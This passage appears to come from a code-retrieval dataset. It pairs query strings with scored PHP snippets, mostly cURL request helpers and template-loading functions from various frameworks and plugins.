$this->url,\n CURLOPT_RETURNTRANSFER => TRUE,\n CURLOPT_USERAGENT => $this->config->user_agent,\n CURLOPT_PROXY => $this->config->proxy ? $this->config->proxy : '',\n CURLOPT_HTTPPROXYTUNNEL => $this->config->proxy ? TRUE : FALSE,\n CURLOPT_PROXYPORT => $this->config->proxy ? '8888' : '',\n CURLOPT_PROXYTYPE => $this->config->proxy ? 'HTTP' : '',\n CURLOPT_HTTPHEADER => $this->headers,\n\n CURLOPT_SSL_VERIFYHOST => $this->config->curl_ssl_verifyhost,\n CURLOPT_SSL_VERIFYPEER => $this->config->curl_ssl_verifypeer,\n ));\n\n if ($this->config->curl_capath !== FALSE) {\n curl_setopt($ch, CURLOPT_CAPATH, $this->config->curl_capath);\n }\n if ($this->config->curl_cainfo !== FALSE) {\n curl_setopt($ch, CURLOPT_CAINFO, $this->config->curl_cainfo);\n }\n\n switch ($this->method) {\n case 'GET':\n break;\n\n case 'POST':\n curl_setopt($ch, CURLOPT_POST, TRUE);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $this->params);\n break;\n\n default:\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $this->method);\n break;\n }\n $execute = curl_exec($ch);\n curl_close($ch);\n\n if ($is_distribution) {\n return $execute;\n }\n else {\n return json_decode($execute, TRUE);\n }\n }", "title": "" }, { "docid": "b821101b4dd4078999bbe8442329ed34", "score": "0.44811273", "text": "public function __construct(Curl $curl = null)\n {\n $this->curl = $curl ?: new Curl;\n }", "title": "" }, { "docid": "e7bc6d4abf58516c91cd303052b4ee19", "score": "0.4477176", "text": "public function preflight($type)\n {\n // make version check only when installing the plugin\n if ($type != \"discover_install\" && $type != \"install\")\n {\n return true;\n }\n \n $version = new JVersion;\n\n // Abort if the current Joomla release is older\n if (version_compare($version->getShortVersion(), \"2.5.7\", 'lt'))\n {\n Jerror::raiseWarning(null, 'Cannot install JCurler in a Joomla release prior to 2.5.7');\n\n return false;\n }\n\n // Abort if the current Joomla release is newer\n if (version_compare($version->getShortVersion(), \"2.5.14\", 'gt'))\n {\n Jerror::raiseWarning(null, 'Cannot install JCurler in Joomla 2.5.15 or later');\n\n return false;\n }\n\n // Abort if curl is not installed\n if (!is_callable('curl_init'))\n {\n Jerror::raiseWarning(null, 'This plugin requires cURL - please active it');\n\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "a1ad3681043f9f012f1dc7c6d1cc41e8", "score": "0.4475623", "text": "function curl($url)\n{\n\n $curl = curl_init($url);\n\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($curl, CURLOPT_HEADER, 0);\n curl_setopt($curl, CURLOPT_USERAGENT, '');\n curl_setopt($curl, CURLOPT_TIMEOUT, 10);\n\n $response = curl_exec($curl);\n if (0 !== curl_errno($curl) || 200 !== curl_getinfo($curl, CURLINFO_HTTP_CODE)) {\n $response = null;\n } // end if\n curl_close($curl);\n\n return $response;\n\n}", "title": "" }, { "docid": "acd67d4c0e8277fce208cbf4ef6faa15", "score": "0.4469102", "text": "function init_http($method, $url, $refuse_gz=false, $referer = '', $datas=\"\", $vers=\"HTTP/1.0\", $date='') {\n\t$user = $via_proxy = $proxy_user = ''; \n\t$fopen = false;\n\n\t$t = @parse_url($url);\n\t$host = $t['host'];\n\tif ($t['scheme'] == 'http') {\n\t\t$scheme = 'http'; $noproxy = '';\n\t} elseif ($t['scheme'] == 'https') {\n\t\t$scheme = 'ssl'; $noproxy = 'ssl://';\n\t\tif (!isset($t['port']) || !($port = $t['port'])) $t['port'] = 443;\n\t}\n\telse {\n\t\t$scheme = $t['scheme']; $noproxy = $scheme.'://';\n\t}\n\tif (isset($t['user']))\n\t\t$user = array($t['user'], $t['pass']);\n\n\tif (!isset($t['port']) || !($port = $t['port'])) $port = 80;\n\tif (!isset($t['path']) || !($path = $t['path'])) $path = \"/\";\n\tif (@$t['query']) $path .= \"?\" .$t['query'];\n\n\t$f = lance_requete($method, $scheme, $user, $host, $path, $port, $noproxy, $refuse_gz, $referer, $datas, $vers, $date);\n\tif (!$f) {\n\t // fallback : fopen\n\t\tif (!_request('tester_proxy')) {\n\t\t\t$f = @fopen($url, \"rb\");\n\t\t\tspip_log(\"connexion vers $url par simple fopen\");\n\t\t\t$fopen = true;\n\t\t} else $f = false;// echec total\n\t}\n\n\treturn array($f, $fopen);\n}", "title": "" } ]
bfaaac45f98a8073825994e732e5b739
Step (1) Binding all the associated Template Files here.
[ { "docid": "340a3d5a27e952c525a868396ca3e039", "score": "0.60752183", "text": "function templates() {\n\t\tself::__ADD_TEMPLATE( \"common/header.tpl\" );\n\t\tself::__ADD_TEMPLATE( \"common/menu.tpl\" );\n\t\tself::__ADD_TEMPLATE( \"common/home.tpl\" );\n\t\tself::__ADD_TEMPLATE( \"common/footer.tpl\" );\n\t}", "title": "" } ]
[ { "docid": "86d4d8d388f383bf4d5ad5383d2017a2", "score": "0.69293725", "text": "protected function loadTemplates(): void\n {\n $templatesPath = Formwork::instance()->option('templates.path');\n $templates = [];\n foreach (FileSystem::listFiles($templatesPath) as $file) {\n $templates[FileSystem::name($file)] = $templatesPath . $file;\n }\n $this->templates = $templates;\n }", "title": "" }, { "docid": "920445a1df048310033588f724ee0370", "score": "0.6912662", "text": "protected function load_templates ()\n {\n // @TODO\n }", "title": "" }, { "docid": "ead4984dfdfdcaef04dd3077ad239838", "score": "0.66703415", "text": "public function init_templates() {\n //Load templates file\n require_once ( PREMIUM_ADDONS_PATH . 'includes/templates/templates.php');\n }", "title": "" }, { "docid": "12f51310be74995322d9f9de6f028c22", "score": "0.6600739", "text": "private function installTemplates()\n {\n $themePath = dirname(__FILE__) . '/data/theme/';\n foreach (scandir($themePath) as $file) {\n if (substr($file, 0, 1) == '.') {\n continue;\n }\n $this->themeFactory->create()->import($themePath . $file);\n }\n\n $templatePath = dirname(__FILE__) . '/data/template/';\n foreach (scandir($templatePath) as $file) {\n if (substr($file, 0, 1) == '.') {\n continue;\n }\n $this->templateFactory->create()->import($templatePath . $file);\n }\n }", "title": "" }, { "docid": "dc0e8f47308255b3c968f4431119961a", "score": "0.6506343", "text": "protected function loadTemplates()\n {\n $this->app->call([$this, 'map']);\n }", "title": "" }, { "docid": "1b530d91d1f1c0cf18bc5c9a1d6728c8", "score": "0.646103", "text": "function ig_es_update_4410_load_templates() {\n\tES_Install::load_templates( true );\n}", "title": "" }, { "docid": "307258629d9698baaf622c58cdffe5c2", "score": "0.6406002", "text": "function ig_es_update_432_import_bfcm_templates() {\n\tES_Install::load_templates();\n}", "title": "" }, { "docid": "a77bb5fab7fe193e277520d0d1f37615", "score": "0.6290541", "text": "public function addTemplate()\n\t{\t\n\t\t//register view\n\t\tapp('view')->addLocation( __DIR__ . '/Template');\n \tapp('view')->addNamespace('registrasitemplate', __DIR__ . '/Template');\n\t}", "title": "" }, { "docid": "0335c048afbb8a6589ddc8184c578906", "score": "0.6246432", "text": "protected function prepareResourceTemplates(): void\n {\n }", "title": "" }, { "docid": "f1e93c0119c3b5fdcd1b93cb2ac79f86", "score": "0.61029196", "text": "public function resolveTemplate();", "title": "" }, { "docid": "36cd6682b9da4ba3cdfa2b28798a61c7", "score": "0.61004835", "text": "protected function templateRedirect(): void\n {\n }", "title": "" }, { "docid": "79f91c81702457801745db5851967e06", "score": "0.6094154", "text": "protected function applyTemplate()\r\n {\r\n $tplContents = file_get_contents($this->getTemplateName(), FILE_BINARY);\r\n file_put_contents($this->getResourceName(), $tplContents, FILE_BINARY);\r\n }", "title": "" }, { "docid": "8af062ef940174a87082debb9872b7f7", "score": "0.60524213", "text": "public function register_template_dir() {\n\t\tbp_register_template_stack( array( $this, 'template_dir' ), 13 );\n\t}", "title": "" }, { "docid": "4997412ea284353fe9391063b62a6b38", "score": "0.601768", "text": "private function load() {\n\t\t\t$this->templateFileContent = file_get_contents($this->templateFile);\n\t\t\t$this->templateFileContent = $this->loadRecursive($this->templateFileContent);\n\t\t}", "title": "" }, { "docid": "7afada1e6f461950978cc6d21decb4d4", "score": "0.6005502", "text": "public function templates()\n {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "72f56605e09194a6342ff1d04709802f", "score": "0.59806484", "text": "function loadTemplate() {\n $this->addToHeadAndToFoot($this->menucontainer);\n $this->addToHeadAndToFoot($this->topcontainer);\n $this->addToHeadAndToFoot($this->messagescontainer);\n $this->addToHeadAndToFoot($this->leftcontainer);\n $this->addToHeadAndToFoot($this->centralcontainer);\n $this->addToHeadAndToFoot($this->secondcentralcontainer);\n $this->addToHeadAndToFoot($this->thirdcentralcontainer);\n $this->addToHeadAndToFoot($this->bottomcontainer);\n\n require_once 'templates/' . $this->templateFile . '.php';\n }", "title": "" }, { "docid": "61002fb59748d4ef87f2759109aab889", "score": "0.5953689", "text": "public function register_template_dir() {\n\t\t// Insert it after everybody to only being checked if template\n\t\t// wasn't previously found in the stack\n\t\tbp_register_template_stack( array( $this, 'template_dir' ), 20 );\n\t}", "title": "" }, { "docid": "6a386f7b3550875c2ce8fe173c3d180a", "score": "0.59520715", "text": "protected function importExampleWebsite()\n\t{\n\t\t/** @var \\SplFileInfo[] $objFiles */\n\t\t$objFiles = new \\RecursiveIteratorIterator(\n\t\t\tnew \\Filter\\SqlFiles(\n\t\t\t\tnew \\RecursiveDirectoryIterator(\n\t\t\t\t\tTL_ROOT . '/templates',\n\t\t\t\t\t\\FilesystemIterator::UNIX_PATHS|\\FilesystemIterator::FOLLOW_SYMLINKS|\\FilesystemIterator::SKIP_DOTS\n\t\t\t\t)\n\t\t\t)\n\t\t);\n\n\t\t$arrTemplates = array();\n\n\t\t// Add the relative paths\n\t\tforeach ($objFiles as $objFile)\n\t\t{\n\t\t\t$arrTemplates[] = str_replace(TL_ROOT . '/templates/', '', $objFile->getPathname());\n\t\t}\n\n\t\t$strTemplates = '<option value=\"\">-</option>';\n\n\t\t// Build the select options\n\t\tforeach ($arrTemplates as $strTemplate)\n\t\t{\n\t\t\t$strTemplates .= sprintf('<option value=\"%s\">%s</option>', $strTemplate, specialchars($strTemplate));\n\t\t}\n\n\t\t$this->Template->templates = $strTemplates;\n\n\t\t// Process the request after the select menu has been generated\n\t\t// so the options show up even if the import throws an Exception\n\t\tif (\\Input::post('FORM_SUBMIT') == 'tl_tutorial')\n\t\t{\n\t\t\t$this->Template->emptySelection = true;\n\t\t\t$strTemplate = \\Input::post('template');\n\n\t\t\t// Template selected\n\t\t\tif ($strTemplate != '' && in_array($strTemplate, $arrTemplates))\n\t\t\t{\n\t\t\t\t$tables = preg_grep('/^tl_/i', $this->Database->listTables());\n\n\t\t\t\t// Truncate tables\n\t\t\t\tif (!isset($_POST['preserve']))\n\t\t\t\t{\n\t\t\t\t\tforeach ($tables as $table)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Preserve the repository tables (see #6037)\n\t\t\t\t\t\tif (isset($_POST['override']) || ($table != 'tl_repository_installs' && $table != 'tl_repository_instfiles'))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->Database->execute(\"TRUNCATE TABLE \" . $table);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Import data\n\t\t\t\t$file = file(TL_ROOT . '/templates/' . $strTemplate);\n\t\t\t\t$sql = preg_grep('/^INSERT /', $file);\n\n\t\t\t\tforeach ($sql as $query)\n\t\t\t\t{\n\t\t\t\t\t// Skip the repository tables (see #6037)\n\t\t\t\t\tif (isset($_POST['override']) || (strpos($query, '`tl_repository_installs`') === false && strpos($query, '`tl_repository_instfiles`') === false))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->Database->execute($query);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\\Config::persist('exampleWebsite', time());\n\t\t\t\t$this->reload();\n\t\t\t}\n\t\t}\n\n\t\t$this->Template->dateImported = \\Date::parse(\\Config::get('datimFormat'), \\Config::get('exampleWebsite'));\n\t}", "title": "" }, { "docid": "2c81f68a0bc96a2302b88ea7bdf186b3", "score": "0.59380174", "text": "protected static function init_template_paths()\n {\n global $project;\n self::$template_path = array();\n self::$template_path[] = BASE_PATH . '/' . SSViewer::get_theme_folder() . '/templates/php';\n self::$template_path[] = BASE_PATH . '/' . $project . '/templates/php';\n }", "title": "" }, { "docid": "daedc18fdea64506d21aeb194099b349", "score": "0.58140683", "text": "function apex_loadVCTemplates($vcDir = '') {\n if(!function_exists('vc_map')) return;\n // Set default\n if(!$vcDir) {\n $vcDir = STYLESHEETPATH . '/includes/vc_templates/';\n }\n if (is_dir($vcDir)) {\n if ( $dh = opendir( $vcDir ) ) {\n while ( ( $file = readdir( $dh ) ) !== false ) {\n if ( substr( $file, 0, 3 ) == 'vc_' && substr( $file, - 4 ) == '.php' ) {\n require_once($vcDir . $file);\n }\n }\n }\n }\n}", "title": "" }, { "docid": "db6fcd2cc32931ca8cbc8f3679bf8051", "score": "0.5766315", "text": "public function requiredTemplates() {\n\t\treturn array(\n\t\t\t'model.php',\n\t\t\t#'_base' . DIRECTORY_SEPARATOR . 'basemodel.php',\n\t\t);\n\t}", "title": "" }, { "docid": "a8da7666cc3cbeebe340fca196f04393", "score": "0.57225955", "text": "abstract protected function defineAvailableTemplates(): array;", "title": "" }, { "docid": "de02d858a5efe1f1a41d9a78983d1544", "score": "0.57061356", "text": "function setupTemplate() {\n\t\tparent::setupTemplate();\n\t\tAppLocale::requireComponents(LOCALE_COMPONENT_PKP_INSTALLER);\n\t}", "title": "" }, { "docid": "4e81a51e535c9745c7187dc743f04b8b", "score": "0.56843966", "text": "public function prepare()\n {\n $files = $this->getFilesStack();\n if (!empty($files)) {\n foreach ($files as $_file) {\n $this->addContent(\n file_get_contents($_file->getRealPath()),\n $_file->getPathname()\n );\n }\n }\n }", "title": "" }, { "docid": "e1ddf5f0c203226595dbd431860bed64", "score": "0.5680332", "text": "public function adminTemplates() {\n include(get_template_directory() . '/options/gj-options.php');\n }", "title": "" }, { "docid": "67ffd7735d7a5ee038a16ea748f9ff8a", "score": "0.5629762", "text": "function initTemplate()\r\n\t{\r\n\t\tinclude('templates/' . $this->mc->config['template'] . '/modules/basic/basic.html');\r\n\t\t$this->template = ob_get_contents();\r\n\t\tob_clean();\r\n\t}", "title": "" }, { "docid": "ee3aa03f830882c67172996061178552", "score": "0.5614294", "text": "public static function app_templates(){\n global $post;\n $post_slug = $post->post_name; \n \n //common components templates\n wcm_actions::put_templates( WCM_PLUGIN_APP_TEMPLATES_DIR );\n //app templates\n wcm_actions::put_templates( WCM_PLUGIN_APP_TEMPLATES_DIR . '/' . $post_slug );\n }", "title": "" }, { "docid": "f6683e452744d0ae5133944c086f5e0c", "score": "0.5585745", "text": "protected function setTemplateConfig() {\n $template_config_filepath = \"{$this->modulePath}/scripts/config/{$this->orgType}.yml\";\n\n $required = array('twig');\n $this->templateConfig = $this->getConfiguration($template_config_filepath, $required);\n }", "title": "" }, { "docid": "be698353780747947f606c9e2e6f2209", "score": "0.55848724", "text": "public function onTwigTemplatePaths(): void\n {\n $twig = $this->grav['twig'];\n $twig->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "34fb25fdb764f950f4e3f489493bd335", "score": "0.5581873", "text": "public function getTemplates();", "title": "" }, { "docid": "6a40f30f98b1c6a7c7e6a8f0d9314003", "score": "0.5579391", "text": "protected function template_init() {\n $this->template->bind( 'styles', $this->styles );\n $this->template->bind( 'scripts', $this->scripts );\n $this->template->bind( 'content', $this->content );\n\n $this->template->style_list = Kohana::$config->load( 'styles' );\n $this->template->script_list = Kohana::$config->load( 'scripts' );\n }", "title": "" }, { "docid": "0c83f47d69206a0452bb236d8ea8aacd", "score": "0.5576052", "text": "public function onTwigTemplatePaths() {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "09e128537c73d86ee918f28ba2d934a0", "score": "0.5573909", "text": "public function plantilla()\n\t\t{\n\t\t\trequire(\"views/template.php\");\n\t\t}", "title": "" }, { "docid": "4be32a3008bfc05f6ab6239ccf573d75", "score": "0.55680984", "text": "function _setup_template($template)\n {\n // default directory for templates\n $this->template_dir = $this->get_template_path($template);\n //echo $this->template_dir . '<br>';\n $this->config_dir = $this->template_dir . '/config';\n }", "title": "" }, { "docid": "5e993e6ae7e89c085c4341016b0a9c86", "score": "0.5551167", "text": "public function onTwigTemplatePaths()\n {\n $twig = $this->grav['twig'];\n $twig->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "5e993e6ae7e89c085c4341016b0a9c86", "score": "0.5551167", "text": "public function onTwigTemplatePaths()\n {\n $twig = $this->grav['twig'];\n $twig->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "0a0dfb57f2946cc6a136a7806857955f", "score": "0.5547232", "text": "public function include_template_functions() {\n\n\t\trequire_once( $this->get_plugin_path() . '/includes/wc-gateway-intuit-qbms-template.php' );\n\t}", "title": "" }, { "docid": "16d7f11d96af2e1cff46cc54e7188751", "score": "0.5537375", "text": "public function onTwigTemplatePaths()\n {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "16d7f11d96af2e1cff46cc54e7188751", "score": "0.5537375", "text": "public function onTwigTemplatePaths()\n {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "16d7f11d96af2e1cff46cc54e7188751", "score": "0.5537375", "text": "public function onTwigTemplatePaths()\n {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "16d7f11d96af2e1cff46cc54e7188751", "score": "0.5537375", "text": "public function onTwigTemplatePaths()\n {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "16d7f11d96af2e1cff46cc54e7188751", "score": "0.5537375", "text": "public function onTwigTemplatePaths()\n {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "16d7f11d96af2e1cff46cc54e7188751", "score": "0.5537375", "text": "public function onTwigTemplatePaths()\n {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "d2c7dc55d1d5445358f35851272c5da3", "score": "0.5529263", "text": "function FastTemplate ($pathToTemplates = \"\")\n\t{\n\t\tglobal $php_errormsg;\n\n\t\tif(!empty($pathToTemplates))\n\t\t{\n\t\t\t$this->set_root($pathToTemplates);\n\t\t}\n\n\t}", "title": "" }, { "docid": "d6b52abee2b66403d7339244d118d033", "score": "0.55260515", "text": "public function onTwigTemplatePaths() : void\n {\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "1d1fcf32fb79e5b03cba0c9c14923f68", "score": "0.5521152", "text": "public function template(){\n \n include \"views/template.php\";\n\n }", "title": "" }, { "docid": "838fd8285c78b1cd35c6b63a2106d495", "score": "0.551257", "text": "public static function print_templates() {\n\t\tparent::print_templates();\n\t\tBestwebsite_File_Upload_Field::print_templates();\n\t}", "title": "" }, { "docid": "e32b9e318ee5aed613cad83d1adac71a", "score": "0.55082244", "text": "protected function findTemplate()\n {\n if ($this->_path == false) {\n throw new PHPTAL_ConfigurationException('No template file specified');\n }\n\n // template source already defined\n if ($this->_source) {\n return;\n }\n\n if (!$this->resolvers && !$this->_repositories) {\n $this->_source = new PHPTAL_FileSource($this->_path);\n } else {\n foreach ($this->resolvers as $resolver) {\n $source = $resolver->resolve($this->_path);\n if ($source) {\n $this->_source = $source;\n return;\n }\n }\n\n $resolver = new PHPTAL_FileSourceResolver($this->_repositories);\n $this->_source = $resolver->resolve($this->_path);\n }\n\n if (!$this->_source) {\n throw new PHPTAL_IOException('Unable to locate template file '.$this->_path);\n }\n }", "title": "" }, { "docid": "22e6bc5a5b8b51ca5633534801252ef2", "score": "0.5507731", "text": "protected function generateViews(): void\n {\n foreach ($this->getFiles() as $stub => $file) {\n if (substr($stub, 0, 5) !== 'views') {\n continue;\n }\n\n $file = str_replace(\n '$CRUD_NAME_LOWER$',\n strtolower($this->getCrudName()),\n $file\n );\n\n $path = $this->module->getModulePath($this->getModuleName()) . $file;\n\n if (!$this->generator->getFilesystem()->isDirectory($dir = dirname($path))) {\n $this->generator->getFilesystem()->makeDirectory($dir, 0775, true);\n }\n\n $this->generator->getFilesystem()->put($path, $this->getStubContents($stub));\n\n $this->info(\"Created view: {$path}\");\n }\n }", "title": "" }, { "docid": "1febf9b0fbc2247442673e6ecedb5379", "score": "0.55053705", "text": "public function processUserAgentTemplate() {\n\t\t$browsersWithoutTheme = $this->database->getBrowsersWithoutTheme();\n\t\t$browsersWithTheme = $this->database->getBrowsersWithTheme();\n\t\t$rules = $this->database->getConfiguratedTemplates();\n\t\t$themes = get_themes();\n\t\t$tags = $this->database->getWebTags();\n\n\t\tinclude('template/'.UserAgentThemeSwitcher::PAGE_TEMPLATE.'.php');\n\t}", "title": "" }, { "docid": "3df9b93d3e69cf6d8260d89ffe3ef0fc", "score": "0.5497433", "text": "function sui_load_underscore_templates($dir) {\n\t$dir = rtrim($dir, '/\\\\') . DIRECTORY_SEPARATOR;\n\t$extension = '.jst';\n\t$query = $dir . '*' . $extension;\n\t$files = glob($query);\n\t$templates = array();\n\t\n\tforeach($files as $file) {\n\t\tob_start();\n\t\tinclude $file;\n\t\t$templates[basename($file, $extension)] = ob_get_clean();\n\t}\n\t\n\treturn $templates;\n}", "title": "" }, { "docid": "c55047d45b15786a8b9a1c4595d8ee38", "score": "0.5490224", "text": "public function onTwigTemplatePaths()\n {\n // Add current directory to twig lookup paths.\n $this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n }", "title": "" }, { "docid": "7710d22563f847949bd08ad98decacc4", "score": "0.5484318", "text": "protected function setTemplateVariables()\r\n {\r\n }", "title": "" }, { "docid": "208b348d567e4f72342a5a1ca73e9ae0", "score": "0.5470079", "text": "protected function initTemplate() {\n\t\tif (!empty($this->template)) {\n\t\t\t$this->template = new \\component\\View($this->template);\n\t\t}\n\t}", "title": "" }, { "docid": "b97d52baf867bbe6bfbf68f54119d662", "score": "0.5441697", "text": "protected function buildTemplateHelpersBack()\n {\n $this->buildCommonTemplateHelpers();\n }", "title": "" }, { "docid": "dd3f7656d0121f54fc5cc416c276513f", "score": "0.5427571", "text": "public static function syncTemplatepacks() {\n //scan the list of packs available in the filesystem\n $objFilesystem = new class_filesystem();\n $arrFolders = $objFilesystem->getCompleteList(\"/templates\");\n\n //scan packs installed\n $arrPacksInstalled = self::getObjectList();\n\n foreach($arrFolders[\"folders\"] as $strOneFolder) {\n $bitFolderFound = false;\n //search the pack in the list of available ones\n foreach($arrPacksInstalled as $objOnePack) {\n if($objOnePack->getStrName() == $strOneFolder) {\n $bitFolderFound = true;\n break;\n }\n }\n if(!$bitFolderFound) {\n $objPack = new class_module_packagemanager_template();\n $objPack->setStrName($strOneFolder);\n $objPack->updateObjectToDb();\n $objPack->setIntRecordStatus(0);\n }\n }\n\n //scan folders not existing any more\n foreach($arrPacksInstalled as $objOnePack) {\n if(!in_array($objOnePack->getStrName(), $arrFolders[\"folders\"]))\n $objOnePack->deleteObject();\n }\n }", "title": "" }, { "docid": "c0e4f0b364d481fc2bd606aa35a8d90b", "score": "0.54268754", "text": "function render_online_templates() {\n\trequire_once __DIR__ . '/template-events-online.php';\n}", "title": "" }, { "docid": "b33442d917c2a4d3f4daf2918dd59e93", "score": "0.5423411", "text": "public function _uninstallTemplates()\n {\n $this->m_fireNotifyUninstallTemplateBegun->call(new XCube_Ref($this->_mXoopsModule));\n Legacy_ModuleInstallUtils::uninstallAllOfModuleTemplates($this->_mXoopsModule, $this->mLog);\n }", "title": "" }, { "docid": "f880e7d3dcf2012da0e5a260b77515bf", "score": "0.54223144", "text": "private function registerTemplateComposer()\n {\n $views = array_keys(config('devise.templates'));\n \\View::composer($views, 'Devise\\Pages\\Viewvars\\ViewvarComposer');\n }", "title": "" }, { "docid": "469bde095f3a020925a32e7ebf3c9359", "score": "0.5419688", "text": "private function yield() {\n // Bring the data added with setData into scope so it will be visible as\n // local variables when we do the include below\n extract($this->_data);\n \n $path = \"{$GLOBALS['temovico']['website_root']}/app/views/{$this->_controller}/{$this->_page}.html.php\";\n if (!is_file($path)) {\n // If we don't find the file at /views/:controller/:action.html.php then \n // look in the /views/shared_templates/:action.html.php\n $path = \"{$GLOBALS['temovico']['website_root']}/app/views/shared_templates/{$this->_page}.html.php\";\n if (!is_file($path)) {\n Logger::error(\"Template not found: $path\", array(\"view\"));\n throw new TemplateNotFoundException($path);\n }\n }\n include($path);\n }", "title": "" }, { "docid": "708f6a2764f7fed45e3e47b1a9cd6ed1", "score": "0.54143345", "text": "protected function initUrlTemplates(): void\n\t{\n\t\t$this->urlTemplates[self::PAGE_SECTION_LIST] = '#PATH_PREFIX#'\n\t\t\t.($this->iblockListMixed ? 'menu_catalog_goods_#IBLOCK_ID#/' : 'menu_catalog_category_#IBLOCK_ID#/')\n\t\t\t.'?#BASE_PARAMS#'\n\t\t\t.'#PARENT_FILTER#'\n\t\t\t.'#ADDITIONAL_PARAMETERS#';\n\t\t$this->urlTemplates[self::PAGE_SECTION_DETAIL] = '#PATH_PREFIX#'\n\t\t\t.'cat_section_edit/'\n\t\t\t.'?#BASE_PARAMS#'\n\t\t\t.'&ID=#ENTITY_ID#'\n\t\t\t.'#ADDITIONAL_PARAMETERS#';\n\t\t$this->urlTemplates[self::PAGE_SECTION_COPY] = $this->urlTemplates[self::PAGE_SECTION_DETAIL]\n\t\t\t.$this->getCopyAction();\n\t\t$this->urlTemplates[self::PAGE_SECTION_SAVE] = '#PATH_PREFIX#'\n\t\t\t.'cat_section_edit.php'\n\t\t\t.'?#BASE_PARAMS#'\n\t\t\t.'#ADDITIONAL_PARAMETERS#';\n\t\t$this->urlTemplates[self::PAGE_SECTION_SEARCH] = '/bitrix/tools/iblock/section_search.php'\n\t\t\t.'?#LANGUAGE#'\n\t\t\t.'#ADDITIONAL_PARAMETERS#';\n\n\t\t$this->urlTemplates[self::PAGE_ELEMENT_LIST] = '#PATH_PREFIX#'\n\t\t\t.($this->iblockListMixed ? 'menu_catalog_goods_#IBLOCK_ID#/' : 'menu_catalog_#IBLOCK_ID#/')\n\t\t\t.'?#BASE_PARAMS#'\n\t\t\t.'#PARENT_FILTER#'\n\t\t\t.'#ADDITIONAL_PARAMETERS#';\n\t\tif ($this->isUiCatalog())\n\t\t{\n\t\t\t$this->urlTemplates[self::PAGE_ELEMENT_DETAIL] = self::PATH_DETAIL_CARD_PREFIX\n\t\t\t\t.'#IBLOCK_ID#/product/#ENTITY_ID#/'\n\t\t\t\t.'?#ADDITIONAL_PARAMETERS#';\n\t\t\t$this->urlTemplates[self::PAGE_ELEMENT_COPY] = self::PATH_DETAIL_CARD_PREFIX\n\t\t\t\t.'#IBLOCK_ID#/product/0/copy/#ENTITY_ID#/';\n\t\t\t$this->urlTemplates[self::PAGE_ELEMENT_SAVE] = $this->urlTemplates[self::PAGE_ELEMENT_DETAIL];\n\t\t\t$this->urlTemplates[self::PAGE_OFFER_DETAIL] = '/shop/catalog/'\n\t\t\t\t.'#PRODUCT_IBLOCK_ID#/product/#PRODUCT_ID#/'\n\t\t\t\t.'variation/#ENTITY_ID#/';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->urlTemplates[self::PAGE_ELEMENT_DETAIL] = '#PATH_PREFIX#'\n\t\t\t\t.'cat_product_edit/'\n\t\t\t\t.'?#BASE_PARAMS#'\n\t\t\t\t.'&ID=#ENTITY_ID#'\n\t\t\t\t.'#ADDITIONAL_PARAMETERS#';\n\t\t\t$this->urlTemplates[self::PAGE_ELEMENT_COPY] = $this->urlTemplates[self::PAGE_ELEMENT_DETAIL]\n\t\t\t\t.$this->getCopyAction();\n\t\t\t$this->urlTemplates[self::PAGE_ELEMENT_SAVE] = '#PATH_PREFIX#'\n\t\t\t\t.'cat_product_edit.php'\n\t\t\t\t.'?#BASE_PARAMS#'\n\t\t\t\t.'#ADDITIONAL_PARAMETERS#';\n\t\t\t$this->urlTemplates[self::PAGE_OFFER_DETAIL] = $this->urlTemplates[self::PAGE_ELEMENT_DETAIL];\n\t\t}\n\t\t$this->urlTemplates[self::PAGE_ELEMENT_SEARCH] = '/bitrix/tools/iblock/element_search.php'\n\t\t\t.'?#LANGUAGE#'\n\t\t\t.'#ADDITIONAL_PARAMETERS#';\n\t\t$this->urlTemplates[self::PAGE_CATALOG_SEO] = self::PATH_DETAIL_CARD_PREFIX . '#IBLOCK_ID#/seo/';\n\t\t$this->urlTemplates[self::PAGE_ELEMENT_SEO] = self::PATH_DETAIL_CARD_PREFIX . '#IBLOCK_ID#/seo/product/#PRODUCT_ID#/';\n\t\t$this->urlTemplates[self::PAGE_SECTION_SEO] = self::PATH_DETAIL_CARD_PREFIX . '#IBLOCK_ID#/seo/section/#SECTION_ID#/';\n\t}", "title": "" }, { "docid": "710b9d8e145bb634567694172c0127ce", "score": "0.5408315", "text": "public function plantilla(){\n\t\t\tinclude 'views/template.php';\n\t\t}", "title": "" }, { "docid": "ff4607f1f2e29d2fb19f4bff75d5bf50", "score": "0.5406584", "text": "public function montaTela() {\n require_once 'templates' . DS . 'template.php';\n }", "title": "" }, { "docid": "fa73703626a56f99e31effe86b692bdc", "score": "0.539265", "text": "protected function content_template() {}", "title": "" }, { "docid": "0a50c3b30a3787d6c5b02e6fc166d564", "score": "0.5385354", "text": "public static function setTemplate() {\n $path = URI::getLiveTemplatePath();\n\n // add css and js in header\n /* Layout::addHeader('<link rel=\"stylesheet\" href=\"'.$path.'/css/menu.css\" type=\"text/css\"/>');\n Layout::addHeader('<link rel=\"stylesheet\" 